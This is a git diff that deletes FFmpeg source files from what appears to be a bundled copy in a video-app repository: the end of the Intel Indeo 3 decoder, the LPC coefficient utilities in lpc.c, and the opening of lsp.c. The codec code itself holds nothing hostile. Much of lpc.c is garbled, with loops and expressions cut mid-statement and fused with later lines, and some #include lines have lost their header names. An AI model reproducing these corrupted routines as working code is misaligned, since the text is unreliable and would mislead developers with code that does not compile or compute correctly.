- (AV_RN32(dst + row_offset ) + delta_tab->deltas_m10[dyad1]) & 0x7F7F7F7F);\ - AV_WN32A(dst + row_offset + 4, \ - (AV_RN32(dst + row_offset + 4) + delta_tab->deltas_m10[dyad2]) & 0x7F7F7F7F);\ - } else { \ - AV_WN16A(dst , \ - (AV_RN16(dst ) + delta_tab->deltas[dyad1]) & 0x7F7F);\ - AV_WN16A(dst + 2 , \ - (AV_RN16(dst + 2 ) + delta_tab->deltas[dyad2]) & 0x7F7F);\ - AV_WN16A(dst + row_offset , \ - (AV_RN16(dst + row_offset ) + delta_tab->deltas[dyad1]) & 0x7F7F);\ - AV_WN16A(dst + row_offset + 2, \ - (AV_RN16(dst + row_offset + 2) + delta_tab->deltas[dyad2]) & 0x7F7F);\ - } - - -static int decode_cell_data(Indeo3DecodeContext *ctx, Cell *cell, - uint8_t *block, uint8_t *ref_block, - ptrdiff_t row_offset, int h_zoom, int v_zoom, int mode, - const vqEntry *delta[2], int swap_quads[2], - const uint8_t **data_ptr, const uint8_t *last_ptr) -{ - int x, y, line, num_lines; - int rle_blocks = 0; - uint8_t code, *dst, *ref; - const vqEntry *delta_tab; - unsigned int dyad1, dyad2; - uint64_t pix64; - int skip_flag = 0, is_top_of_cell, is_first_row = 1; - int blk_row_offset, line_offset; - - blk_row_offset = (row_offset << (2 + v_zoom)) - (cell->width << 2); - line_offset = v_zoom ? row_offset : 0; - - if (cell->height & v_zoom || cell->width & h_zoom) - return IV3_BAD_DATA; - - for (y = 0; y < cell->height; is_first_row = 0, y += 1 + v_zoom) { - for (x = 0; x < cell->width; x += 1 + h_zoom) { - ref = ref_block; - dst = block; - - if (rle_blocks > 0) { - if (mode <= 4) { - RLE_BLOCK_COPY; - } else if (mode == 10 && !cell->mv_ptr) { - RLE_BLOCK_COPY_8; - } - rle_blocks--; - } else { - for (line = 0; line < 4;) { - num_lines = 1; - is_top_of_cell = is_first_row && !line; - - /* select primary VQ table for odd, secondary for even lines */ - if (mode <= 4) - delta_tab = delta[line & 1]; - else - delta_tab = delta[1]; - BUFFER_PRECHECK; - code = bytestream_get_byte(data_ptr); - if (code < 248) { - if (code < delta_tab->num_dyads) { - BUFFER_PRECHECK; - dyad1 = bytestream_get_byte(data_ptr); - dyad2 = code; - if (dyad1 >= delta_tab->num_dyads || dyad1 >= 248) - return IV3_BAD_DATA; - } else { - /* process QUADS */ - code -= delta_tab->num_dyads; - dyad1 = code / delta_tab->quad_exp; - dyad2 = code % delta_tab->quad_exp; - if (swap_quads[line & 1]) - FFSWAP(unsigned int, dyad1, dyad2); - } - if (mode <= 4) { - APPLY_DELTA_4; - } else if (mode == 10 && !cell->mv_ptr) { - APPLY_DELTA_8; - } else { - APPLY_DELTA_1011_INTER; - } - } else { - /* process RLE codes */ - switch (code) { - case RLE_ESC_FC: - skip_flag = 0; - rle_blocks = 1; - code = 253; - /* FALLTHROUGH */ - case RLE_ESC_FF: - case RLE_ESC_FE: - case RLE_ESC_FD: - num_lines = 257 - code - line; - if (num_lines <= 0) - return IV3_BAD_RLE; - if (mode <= 4) { - RLE_LINES_COPY; - } else if (mode == 10 && !cell->mv_ptr) { - RLE_LINES_COPY_M10; - } - break; - case RLE_ESC_FB: - BUFFER_PRECHECK; - code = bytestream_get_byte(data_ptr); - rle_blocks = (code & 0x1F) - 1; /* set block counter */ - if (code >= 64 || rle_blocks < 0) - return IV3_BAD_COUNTER; - skip_flag = code & 0x20; - num_lines = 4 - line; /* enforce next block processing */ - if (mode >= 10 || (cell->mv_ptr || !skip_flag)) { - if (mode <= 4) { - RLE_LINES_COPY; - } else if (mode == 10 && !cell->mv_ptr) { - RLE_LINES_COPY_M10; - } - } - break; - case RLE_ESC_F9: - skip_flag = 1; - rle_blocks = 1; - /* FALLTHROUGH */ - case RLE_ESC_FA: - if (line) - return IV3_BAD_RLE; - num_lines = 4; /* enforce next block processing */ - if (cell->mv_ptr) { - if (mode <= 4) { - RLE_LINES_COPY; - } else if (mode == 10 && !cell->mv_ptr) { - RLE_LINES_COPY_M10; - } - } - break; - default: - return IV3_UNSUPPORTED; - } - } - - line += num_lines; - ref += row_offset * (num_lines << v_zoom); - dst += row_offset * (num_lines << v_zoom); - } - } - - /* move to next horizontal block */ - block += 4 << h_zoom; - ref_block += 4 << h_zoom; - } - - /* move to next line of blocks */ - ref_block += blk_row_offset; - block += blk_row_offset; - } - return IV3_NOERR; -} - - -/** - * Decode a vector-quantized cell. - * It consists of several routines, each of which handles one or more "modes" - * with which a cell can be encoded. - * - * @param ctx pointer to the decoder context - * @param avctx ptr to the AVCodecContext - * @param plane pointer to the plane descriptor - * @param cell pointer to the cell descriptor - * @param data_ptr pointer to the compressed data - * @param last_ptr pointer to the last byte to catch reads past end of buffer - * @return number of consumed bytes or negative number in case of error - */ -static int decode_cell(Indeo3DecodeContext *ctx, AVCodecContext *avctx, - Plane *plane, Cell *cell, const uint8_t *data_ptr, - const uint8_t *last_ptr) -{ - int x, mv_x, mv_y, mode, vq_index, prim_indx, second_indx; - int zoom_fac; - int offset, error = 0, swap_quads[2]; - uint8_t code, *block, *ref_block = 0; - const vqEntry *delta[2]; - const uint8_t *data_start = data_ptr; - - /* get coding mode and VQ table index from the VQ descriptor byte */ - code = *data_ptr++; - mode = code >> 4; - vq_index = code & 0xF; - - /* setup output and reference pointers */ - offset = (cell->ypos << 2) * plane->pitch + (cell->xpos << 2); - block = plane->pixels[ctx->buf_sel] + offset; - - if (!cell->mv_ptr) { - /* use previous line as reference for INTRA cells */ - ref_block = block - plane->pitch; - } else if (mode >= 10) { - /* for mode 10 and 11 INTER first copy the predicted cell into the current one */ - /* so we don't need to do data copying for each RLE code later */ - int ret = copy_cell(ctx, plane, cell); - if (ret < 0) - return ret; - } else { - /* set the pointer to the reference pixels for modes 0-4 INTER */ - mv_y = cell->mv_ptr[0]; - mv_x = cell->mv_ptr[1]; - - /* -1 because there is an extra line on top for prediction */ - if ((cell->ypos << 2) + mv_y < -1 || (cell->xpos << 2) + mv_x < 0 || - ((cell->ypos + cell->height) << 2) + mv_y > plane->height || - ((cell->xpos + cell->width) << 2) + mv_x > plane->width) { - av_log(ctx->avctx, AV_LOG_ERROR, - "Motion vectors point out of the frame.\n"); - return AVERROR_INVALIDDATA; - } - - offset += mv_y * plane->pitch + mv_x; - ref_block = plane->pixels[ctx->buf_sel ^ 1] + offset; - } - - /* select VQ tables as follows: */ - /* modes 0 and 3 use only the primary table for all lines in a block */ - /* while modes 1 and 4 switch between primary and secondary tables on alternate lines */ - if (mode == 1 || mode == 4) { - code = ctx->alt_quant[vq_index]; - prim_indx = (code >> 4) + ctx->cb_offset; - second_indx = (code & 0xF) + ctx->cb_offset; - } else { - vq_index += ctx->cb_offset; - prim_indx = second_indx = vq_index; - } - - if (prim_indx >= 24 || second_indx >= 24) { - av_log(avctx, AV_LOG_ERROR, "Invalid VQ table indexes! Primary: %d, secondary: %d!\n", - prim_indx, second_indx); - return AVERROR_INVALIDDATA; - } - - delta[0] = &vq_tab[second_indx]; - delta[1] = &vq_tab[prim_indx]; - swap_quads[0] = second_indx >= 16; - swap_quads[1] = prim_indx >= 16; - - /* requantize the prediction if VQ index of this cell differs from VQ index */ - /* of the predicted cell in order to avoid overflows. */ - if (vq_index >= 8 && ref_block) { - for (x = 0; x < cell->width << 2; x++) - ref_block[x] = requant_tab[vq_index & 7][ref_block[x] & 127]; - } - - error = IV3_NOERR; - - switch (mode) { - case 0: /*------------------ MODES 0 & 1 (4x4 block processing) --------------------*/ - case 1: - case 3: /*------------------ MODES 3 & 4 (4x8 block processing) --------------------*/ - case 4: - if (mode >= 3 && cell->mv_ptr) { - av_log(avctx, AV_LOG_ERROR, "Attempt to apply Mode 3/4 to an INTER cell!\n"); - return AVERROR_INVALIDDATA; - } - - zoom_fac = mode >= 3; - error = decode_cell_data(ctx, cell, block, ref_block, plane->pitch, - 0, zoom_fac, mode, delta, swap_quads, - &data_ptr, last_ptr); - break; - case 10: /*-------------------- MODE 10 (8x8 block processing) ---------------------*/ - case 11: /*----------------- MODE 11 (4x8 INTER block processing) ------------------*/ - if (mode == 10 && !cell->mv_ptr) { /* MODE 10 INTRA processing */ - error = decode_cell_data(ctx, cell, block, ref_block, plane->pitch, - 1, 1, mode, delta, swap_quads, - &data_ptr, last_ptr); - } else { /* mode 10 and 11 INTER processing */ - if (mode == 11 && !cell->mv_ptr) { - av_log(avctx, AV_LOG_ERROR, "Attempt to use Mode 11 for an INTRA cell!\n"); - return AVERROR_INVALIDDATA; - } - - zoom_fac = mode == 10; - error = decode_cell_data(ctx, cell, block, ref_block, plane->pitch, - zoom_fac, 1, mode, delta, swap_quads, - &data_ptr, last_ptr); - } - break; - default: - av_log(avctx, AV_LOG_ERROR, "Unsupported coding mode: %d\n", mode); - return AVERROR_INVALIDDATA; - }//switch mode - - switch (error) { - case IV3_BAD_RLE: - av_log(avctx, AV_LOG_ERROR, "Mode %d: RLE code %X is not allowed at the current line\n", - mode, data_ptr[-1]); - return AVERROR_INVALIDDATA; - case IV3_BAD_DATA: - av_log(avctx, AV_LOG_ERROR, "Mode %d: invalid VQ data\n", mode); - return AVERROR_INVALIDDATA; - case IV3_BAD_COUNTER: - av_log(avctx, AV_LOG_ERROR, "Mode %d: RLE-FB invalid counter: %d\n", mode, code); - return AVERROR_INVALIDDATA; - case IV3_UNSUPPORTED: - av_log(avctx, AV_LOG_ERROR, "Mode %d: unsupported RLE code: %X\n", mode, data_ptr[-1]); - return AVERROR_INVALIDDATA; - case IV3_OUT_OF_DATA: - av_log(avctx, AV_LOG_ERROR, "Mode %d: attempt to read past end of buffer\n", mode); - return AVERROR_INVALIDDATA; - } - - return data_ptr - data_start; /* report number of bytes consumed from the input buffer */ -} - - -/* Binary tree codes. */ -enum { - H_SPLIT = 0, - V_SPLIT = 1, - INTRA_NULL = 2, - INTER_DATA = 3 -}; - - -#define SPLIT_CELL(size, new_size) (new_size) = ((size) > 2) ? ((((size) + 2) >> 2) << 1) : 1 - -#define UPDATE_BITPOS(n) \ - ctx->skip_bits += (n); \ - ctx->need_resync = 1 - -#define RESYNC_BITSTREAM \ - if (ctx->need_resync && !(get_bits_count(&ctx->gb) & 7)) { \ - skip_bits_long(&ctx->gb, ctx->skip_bits); \ - ctx->skip_bits = 0; \ - ctx->need_resync = 0; \ - } - -#define CHECK_CELL \ - if (curr_cell.xpos + curr_cell.width > (plane->width >> 2) || \ - curr_cell.ypos + curr_cell.height > (plane->height >> 2)) { \ - av_log(avctx, AV_LOG_ERROR, "Invalid cell: x=%d, y=%d, w=%d, h=%d\n", \ - curr_cell.xpos, curr_cell.ypos, curr_cell.width, curr_cell.height); \ - return AVERROR_INVALIDDATA; \ - } - - -static int parse_bintree(Indeo3DecodeContext *ctx, AVCodecContext *avctx, - Plane *plane, int code, Cell *ref_cell, - const int depth, const int strip_width) -{ - Cell curr_cell; - int bytes_used, ret; - - if (depth <= 0) { - av_log(avctx, AV_LOG_ERROR, "Stack overflow (corrupted binary tree)!\n"); - return AVERROR_INVALIDDATA; // unwind recursion - } - - curr_cell = *ref_cell; // clone parent cell - if (code == H_SPLIT) { - SPLIT_CELL(ref_cell->height, curr_cell.height); - ref_cell->ypos += curr_cell.height; - ref_cell->height -= curr_cell.height; - if (ref_cell->height <= 0 || curr_cell.height <= 0) - return AVERROR_INVALIDDATA; - } else if (code == V_SPLIT) { - if (curr_cell.width > strip_width) { - /* split strip */ - curr_cell.width = (curr_cell.width <= (strip_width << 1) ? 1 : 2) * strip_width; - } else - SPLIT_CELL(ref_cell->width, curr_cell.width); - ref_cell->xpos += curr_cell.width; - ref_cell->width -= curr_cell.width; - if (ref_cell->width <= 0 || curr_cell.width <= 0) - return AVERROR_INVALIDDATA; - } - - while (get_bits_left(&ctx->gb) >= 2) { /* loop until return */ - RESYNC_BITSTREAM; - switch (code = get_bits(&ctx->gb, 2)) { - case H_SPLIT: - case V_SPLIT: - if (parse_bintree(ctx, avctx, plane, code, &curr_cell, depth - 1, strip_width)) - return AVERROR_INVALIDDATA; - break; - case INTRA_NULL: - if (!curr_cell.tree) { /* MC tree INTRA code */ - curr_cell.mv_ptr = 0; /* mark the current strip as INTRA */ - curr_cell.tree = 1; /* enter the VQ tree */ - } else { /* VQ tree NULL code */ - RESYNC_BITSTREAM; - code = get_bits(&ctx->gb, 2); - if (code >= 2) { - av_log(avctx, AV_LOG_ERROR, "Invalid VQ_NULL code: %d\n", code); - return AVERROR_INVALIDDATA; - } - if (code == 1) - av_log(avctx, AV_LOG_ERROR, "SkipCell procedure not implemented yet!\n"); - - CHECK_CELL - if (!curr_cell.mv_ptr) - return AVERROR_INVALIDDATA; - - ret = copy_cell(ctx, plane, &curr_cell); - return ret; - } - break; - case INTER_DATA: - if (!curr_cell.tree) { /* MC tree INTER code */ - unsigned mv_idx; - /* get motion vector index and setup the pointer to the mv set */ - if (!ctx->need_resync) - ctx->next_cell_data = &ctx->gb.buffer[(get_bits_count(&ctx->gb) + 7) >> 3]; - if (ctx->next_cell_data >= ctx->last_byte) { - av_log(avctx, AV_LOG_ERROR, "motion vector out of array\n"); - return AVERROR_INVALIDDATA; - } - mv_idx = *(ctx->next_cell_data++); - if (mv_idx >= ctx->num_vectors) { - av_log(avctx, AV_LOG_ERROR, "motion vector index out of range\n"); - return AVERROR_INVALIDDATA; - } - curr_cell.mv_ptr = &ctx->mc_vectors[mv_idx << 1]; - curr_cell.tree = 1; /* enter the VQ tree */ - UPDATE_BITPOS(8); - } else { /* VQ tree DATA code */ - if (!ctx->need_resync) - ctx->next_cell_data = &ctx->gb.buffer[(get_bits_count(&ctx->gb) + 7) >> 3]; - - CHECK_CELL - bytes_used = decode_cell(ctx, avctx, plane, &curr_cell, - ctx->next_cell_data, ctx->last_byte); - if (bytes_used < 0) - return AVERROR_INVALIDDATA; - - UPDATE_BITPOS(bytes_used << 3); - ctx->next_cell_data += bytes_used; - return 0; - } - break; - } - }//while - - return AVERROR_INVALIDDATA; -} - - -static int decode_plane(Indeo3DecodeContext *ctx, AVCodecContext *avctx, - Plane *plane, const uint8_t *data, int32_t data_size, - int32_t strip_width) -{ - Cell curr_cell; - unsigned num_vectors; - - /* each plane data starts with mc_vector_count field, */ - /* an optional array of motion vectors followed by the vq data */ - num_vectors = bytestream_get_le32(&data); data_size -= 4; - if (num_vectors > 256) { - av_log(ctx->avctx, AV_LOG_ERROR, - "Read invalid number of motion vectors %d\n", num_vectors); - return AVERROR_INVALIDDATA; - } - if (num_vectors * 2 > data_size) - return AVERROR_INVALIDDATA; - - ctx->num_vectors = num_vectors; - ctx->mc_vectors = num_vectors ? data : 0; - - /* init the bitreader */ - init_get_bits(&ctx->gb, &data[num_vectors * 2], (data_size - num_vectors * 2) << 3); - ctx->skip_bits = 0; - ctx->need_resync = 0; - - ctx->last_byte = data + data_size; - - /* initialize the 1st cell and set its dimensions to whole plane */ - curr_cell.xpos = curr_cell.ypos = 0; - curr_cell.width = plane->width >> 2; - curr_cell.height = plane->height >> 2; - curr_cell.tree = 0; // we are in the MC tree now - curr_cell.mv_ptr = 0; // no motion vector = INTRA cell - - return parse_bintree(ctx, avctx, plane, INTRA_NULL, &curr_cell, CELL_STACK_MAX, strip_width); -} - - -#define OS_HDR_ID MKBETAG('F', 'R', 'M', 'H') - -static int decode_frame_headers(Indeo3DecodeContext *ctx, AVCodecContext *avctx, - const uint8_t *buf, int buf_size) -{ - GetByteContext gb; - const uint8_t *bs_hdr; - uint32_t frame_num, word2, check_sum, data_size; - int y_offset, u_offset, v_offset; - uint32_t starts[3], ends[3]; - uint16_t height, width; - int i, j; - - bytestream2_init(&gb, buf, buf_size); - - /* parse and check the OS header */ - frame_num = bytestream2_get_le32(&gb); - word2 = bytestream2_get_le32(&gb); - check_sum = bytestream2_get_le32(&gb); - data_size = bytestream2_get_le32(&gb); - - if ((frame_num ^ word2 ^ data_size ^ OS_HDR_ID) != check_sum) { - av_log(avctx, AV_LOG_ERROR, "OS header checksum mismatch!\n"); - return AVERROR_INVALIDDATA; - } - - /* parse the bitstream header */ - bs_hdr = gb.buffer; - - if (bytestream2_get_le16(&gb) != 32) { - av_log(avctx, AV_LOG_ERROR, "Unsupported codec version!\n"); - return AVERROR_INVALIDDATA; - } - - ctx->frame_num = frame_num; - ctx->frame_flags = bytestream2_get_le16(&gb); - ctx->data_size = (bytestream2_get_le32(&gb) + 7) >> 3; - ctx->cb_offset = bytestream2_get_byte(&gb); - - if (ctx->data_size == 16) - return 4; - ctx->data_size = FFMIN(ctx->data_size, buf_size - 16); - - bytestream2_skip(&gb, 3); // skip reserved byte and checksum - - /* check frame dimensions */ - height = bytestream2_get_le16(&gb); - width = bytestream2_get_le16(&gb); - if (av_image_check_size(width, height, 0, avctx)) - return AVERROR_INVALIDDATA; - - if (width != ctx->width || height != ctx->height) { - int res; - - ff_dlog(avctx, "Frame dimensions changed!\n"); - - if (width < 16 || width > 640 || - height < 16 || height > 480 || - width & 3 || height & 3) { - av_log(avctx, AV_LOG_ERROR, - "Invalid picture dimensions: %d x %d!\n", width, height); - return AVERROR_INVALIDDATA; - } - free_frame_buffers(ctx); - if ((res = allocate_frame_buffers(ctx, avctx, width, height)) < 0) - return res; - if ((res = ff_set_dimensions(avctx, width, height)) < 0) - return res; - } - - y_offset = bytestream2_get_le32(&gb); - v_offset = bytestream2_get_le32(&gb); - u_offset = bytestream2_get_le32(&gb); - bytestream2_skip(&gb, 4); - - /* unfortunately there is no common order of planes in the buffer */ - /* so we use that sorting algo for determining planes data sizes */ - starts[0] = y_offset; - starts[1] = v_offset; - starts[2] = u_offset; - - for (j = 0; j < 3; j++) { - ends[j] = ctx->data_size; - for (i = 2; i >= 0; i--) - if (starts[i] < ends[j] && starts[i] > starts[j]) - ends[j] = starts[i]; - } - - ctx->y_data_size = ends[0] - starts[0]; - ctx->v_data_size = ends[1] - starts[1]; - ctx->u_data_size = ends[2] - starts[2]; - if (FFMIN3(y_offset, v_offset, u_offset) < 0 || - FFMAX3(y_offset, v_offset, u_offset) >= ctx->data_size - 16 || - FFMIN3(y_offset, v_offset, u_offset) < gb.buffer - bs_hdr + 16 || - FFMIN3(ctx->y_data_size, ctx->v_data_size, ctx->u_data_size) <= 0) { - av_log(avctx, AV_LOG_ERROR, "One of the y/u/v offsets is invalid\n"); - return AVERROR_INVALIDDATA; - } - - ctx->y_data_ptr = bs_hdr + y_offset; - ctx->v_data_ptr = bs_hdr + v_offset; - ctx->u_data_ptr = bs_hdr + u_offset; - ctx->alt_quant = gb.buffer; - - if (ctx->data_size == 16) { - av_log(avctx, AV_LOG_DEBUG, "Sync frame encountered!\n"); - return 16; - } - - if (ctx->frame_flags & BS_8BIT_PEL) { - avpriv_request_sample(avctx, "8-bit pixel format"); - return AVERROR_PATCHWELCOME; - } - - if (ctx->frame_flags & BS_MV_X_HALF || ctx->frame_flags & BS_MV_Y_HALF) { - avpriv_request_sample(avctx, "Halfpel motion vectors"); - return AVERROR_PATCHWELCOME; - } - - return 0; -} - - -/** - * Convert and output the current plane. - * All pixel values will be upsampled by shifting right by one bit. - * - * @param[in] plane pointer to the descriptor of the plane being processed - * @param[in] buf_sel indicates which frame buffer the input data stored in - * @param[out] dst pointer to the buffer receiving converted pixels - * @param[in] dst_pitch pitch for moving to the next y line - * @param[in] dst_height output plane height - */ -static void output_plane(const Plane *plane, int buf_sel, uint8_t *dst, - ptrdiff_t dst_pitch, int dst_height) -{ - int x,y; - const uint8_t *src = plane->pixels[buf_sel]; - ptrdiff_t pitch = plane->pitch; - - dst_height = FFMIN(dst_height, plane->height); - for (y = 0; y < dst_height; y++) { - /* convert four pixels at once using SWAR */ - for (x = 0; x < plane->width >> 2; x++) { - AV_WN32A(dst, (AV_RN32A(src) & 0x7F7F7F7F) << 1); - src += 4; - dst += 4; - } - - for (x <<= 2; x < plane->width; x++) - *dst++ = *src++ << 1; - - src += pitch - plane->width; - dst += dst_pitch - plane->width; - } -} - - -static av_cold int decode_init(AVCodecContext *avctx) -{ - static AVOnce init_static_once = AV_ONCE_INIT; - Indeo3DecodeContext *ctx = avctx->priv_data; - - ctx->avctx = avctx; - avctx->pix_fmt = AV_PIX_FMT_YUV410P; - - ff_thread_once(&init_static_once, build_requant_tab); - - ff_hpeldsp_init(&ctx->hdsp, avctx->flags); - - return allocate_frame_buffers(ctx, avctx, avctx->width, avctx->height); -} - - -static int decode_frame(AVCodecContext *avctx, AVFrame *frame, - int *got_frame, AVPacket *avpkt) -{ - Indeo3DecodeContext *ctx = avctx->priv_data; - const uint8_t *buf = avpkt->data; - int buf_size = avpkt->size; - int res; - - res = decode_frame_headers(ctx, avctx, buf, buf_size); - if (res < 0) - return res; - - /* skip sync(null) frames */ - if (res) { - // we have processed 16 bytes but no data was decoded - *got_frame = 0; - return buf_size; - } - - /* skip droppable INTER frames if requested */ - if (ctx->frame_flags & BS_NONREF && - (avctx->skip_frame >= AVDISCARD_NONREF)) - return 0; - - /* skip INTER frames if requested */ - if (!(ctx->frame_flags & BS_KEYFRAME) && avctx->skip_frame >= AVDISCARD_NONKEY) - return 0; - - /* use BS_BUFFER flag for buffer switching */ - ctx->buf_sel = (ctx->frame_flags >> BS_BUFFER) & 1; - - if ((res = ff_get_buffer(avctx, frame, 0)) < 0) - return res; - - /* decode luma plane */ - if ((res = decode_plane(ctx, avctx, ctx->planes, ctx->y_data_ptr, ctx->y_data_size, 40))) - return res; - - /* decode chroma planes */ - if ((res = decode_plane(ctx, avctx, &ctx->planes[1], ctx->u_data_ptr, ctx->u_data_size, 10))) - return res; - - if ((res = decode_plane(ctx, avctx, &ctx->planes[2], ctx->v_data_ptr, ctx->v_data_size, 10))) - return res; - - output_plane(&ctx->planes[0], ctx->buf_sel, - frame->data[0], frame->linesize[0], - avctx->height); - output_plane(&ctx->planes[1], ctx->buf_sel, - frame->data[1], frame->linesize[1], - (avctx->height + 3) >> 2); - output_plane(&ctx->planes[2], ctx->buf_sel, - frame->data[2], frame->linesize[2], - (avctx->height + 3) >> 2); - - *got_frame = 1; - - return buf_size; -} - - -static av_cold int decode_close(AVCodecContext *avctx) -{ - free_frame_buffers(avctx->priv_data); - - return 0; -} - -const FFCodec ff_indeo3_decoder = { - .p.name = "indeo3", - CODEC_LONG_NAME("Intel Indeo 3"), - .p.type = AVMEDIA_TYPE_VIDEO, - .p.id = AV_CODEC_ID_INDEO3, - .priv_data_size = sizeof(Indeo3DecodeContext), - .init = decode_init, - .close = decode_close, - FF_CODEC_DECODE_CB(decode_frame), - .p.capabilities = AV_CODEC_CAP_DR1, - .caps_internal = FF_CODEC_CAP_INIT_CLEANUP, -}; diff --git a/spaces/colakin/video-generater/public/ffmpeg/libavcodec/lpc.c b/spaces/colakin/video-generater/public/ffmpeg/libavcodec/lpc.c deleted file mode 100644 index dc6a3060ceabf68dbbd2b4dc7a4bf5944e484046..0000000000000000000000000000000000000000 --- a/spaces/colakin/video-generater/public/ffmpeg/libavcodec/lpc.c +++ /dev/null @@ -1,333 +0,0 @@ -/* - * LPC utility code - * Copyright (c) 2006 Justin Ruggles - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#include "libavutil/common.h" -#include "libavutil/lls.h" -#include "libavutil/mem_internal.h" - -#define LPC_USE_DOUBLE -#include "lpc.h" -#include "libavutil/avassert.h" - - -/** - * Apply Welch window function to audio block - */ -static void lpc_apply_welch_window_c(const int32_t *data, ptrdiff_t len, - double *w_data) -{ - int i, n2; - double w; - double c; - - if (len == 1) { - w_data[0] = 0.0; - return; - } - - n2 = (len >> 1); - c = 2.0 / (len - 1.0); - - if (len & 1) { - for(i=0; i qmax) && (sh > min_shift)) { - sh--; - } - - /* since negative shift values are unsupported in decoder, scale down - coefficients instead */ - if(sh == 0 && cmax > qmax) { - double scale = ((double)qmax) / cmax; - for(i=0; i=min_order-1; i--) { - if(ref[i] > 0.10) { - est = i+1; - break; - } - } - return est; -} - -int ff_lpc_calc_ref_coefs(LPCContext *s, - const int32_t *samples, int order, double *ref) -{ - double autoc[MAX_LPC_ORDER + 1]; - - s->lpc_apply_welch_window(samples, s->blocksize, s->windowed_samples); - s->lpc_compute_autocorr(s->windowed_samples, s->blocksize, order, autoc); - compute_ref_coefs(autoc, order, ref, NULL); - - return order; -} - -double ff_lpc_calc_ref_coefs_f(LPCContext *s, const float *samples, int len, - int order, double *ref) -{ - int i; - double signal = 0.0f, avg_err = 0.0f; - double autoc[MAX_LPC_ORDER+1] = {0}, error[MAX_LPC_ORDER+1] = {0}; - const double a = 0.5f, b = 1.0f - a; - - /* Apply windowing */ - for (i = 0; i <= len / 2; i++) { - double weight = a - b*cos((2*M_PI*i)/(len - 1)); - s->windowed_samples[i] = weight*samples[i]; - s->windowed_samples[len-1-i] = weight*samples[len-1-i]; - } - - s->lpc_compute_autocorr(s->windowed_samples, len, order, autoc); - signal = autoc[0]; - compute_ref_coefs(autoc, order, ref, error); - for (i = 0; i < order; i++) - avg_err = (avg_err + error[i])/2.0f; - return avg_err ? signal/avg_err : NAN; -} - -/** - * Calculate LPC coefficients for multiple orders - * - * @param lpc_type LPC method for determining coefficients, - * see #FFLPCType for details - */ -int ff_lpc_calc_coefs(LPCContext *s, - const int32_t *samples, int blocksize, int min_order, - int max_order, int precision, - int32_t coefs[][MAX_LPC_ORDER], int *shift, - enum FFLPCType lpc_type, int lpc_passes, - int omethod, int min_shift, int max_shift, int zero_shift) -{ - double autoc[MAX_LPC_ORDER+1]; - double ref[MAX_LPC_ORDER] = { 0 }; - double lpc[MAX_LPC_ORDER][MAX_LPC_ORDER]; - int i, j, pass = 0; - int opt_order; - - av_assert2(max_order >= MIN_LPC_ORDER && max_order <= MAX_LPC_ORDER && - lpc_type > FF_LPC_TYPE_FIXED); - av_assert0(lpc_type == FF_LPC_TYPE_CHOLESKY || lpc_type == FF_LPC_TYPE_LEVINSON); - - /* reinit LPC context if parameters have changed */ - if (blocksize != s->blocksize || max_order != s->max_order || - lpc_type != s->lpc_type) { - ff_lpc_end(s); - ff_lpc_init(s, blocksize, max_order, lpc_type); - } - - if(lpc_passes <= 0) - lpc_passes = 2; - - if (lpc_type == FF_LPC_TYPE_LEVINSON || (lpc_type == FF_LPC_TYPE_CHOLESKY && lpc_passes > 1)) { - s->lpc_apply_welch_window(samples, blocksize, s->windowed_samples); - - s->lpc_compute_autocorr(s->windowed_samples, blocksize, max_order, autoc); - - compute_lpc_coefs(autoc, max_order, &lpc[0][0], MAX_LPC_ORDER, 0, 1); - - for(i=0; ills_models; - LOCAL_ALIGNED(32, double, var, [FFALIGN(MAX_LPC_ORDER+1,4)]); - double av_uninit(weight); - memset(var, 0, FFALIGN(MAX_LPC_ORDER+1,4)*sizeof(*var)); - - for(j=0; j>pass) + fabs(eval - var[0]); - inv = 1/eval; - rinv = sqrt(inv); - for(j=0; j<=max_order; j++) - var[j] *= rinv; - weight += inv; - }else - weight++; - - m[pass&1].update_lls(&m[pass&1], var); - } - avpriv_solve_lls(&m[pass&1], 0.001, 0); - } - - for(i=0; i0; i--) - ref[i] = ref[i-1] - ref[i]; - } - - opt_order = max_order; - - if(omethod == ORDER_METHOD_EST) { - opt_order = estimate_best_order(ref, min_order, max_order); - i = opt_order-1; - quantize_lpc_coefs(lpc[i], i+1, precision, coefs[i], &shift[i], - min_shift, max_shift, zero_shift); - } else { - for(i=min_order-1; iblocksize = blocksize; - s->max_order = max_order; - s->lpc_type = lpc_type; - - s->windowed_buffer = av_mallocz((blocksize + 2 + FFALIGN(max_order, 4)) * - sizeof(*s->windowed_samples)); - if (!s->windowed_buffer) - return AVERROR(ENOMEM); - s->windowed_samples = s->windowed_buffer + FFALIGN(max_order, 4); - - s->lpc_apply_welch_window = lpc_apply_welch_window_c; - s->lpc_compute_autocorr = lpc_compute_autocorr_c; - -#if ARCH_X86 - ff_lpc_init_x86(s); -#endif - - return 0; -} - -av_cold void ff_lpc_end(LPCContext *s) -{ - av_freep(&s->windowed_buffer); -} diff --git a/spaces/colakin/video-generater/public/ffmpeg/libavcodec/lsp.c b/spaces/colakin/video-generater/public/ffmpeg/libavcodec/lsp.c deleted file mode 100644 index 275984097d178605f160beec6063455cfa0a9cb0..0000000000000000000000000000000000000000 --- a/spaces/colakin/video-generater/public/ffmpeg/libavcodec/lsp.c +++ /dev/null @@ -1,246 +0,0 @@ -/* - * LSP routines for ACELP-based codecs - * - * Copyright (c) 2007 Reynaldo H. Verdejo Pinochet (QCELP decoder) - * Copyright (c) 2008 Vladimir Voroshilov - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#include - -#include "config.h" - -#define FRAC_BITS 14 -#include "libavutil/macros.h" -#include "mathops.h" -#include 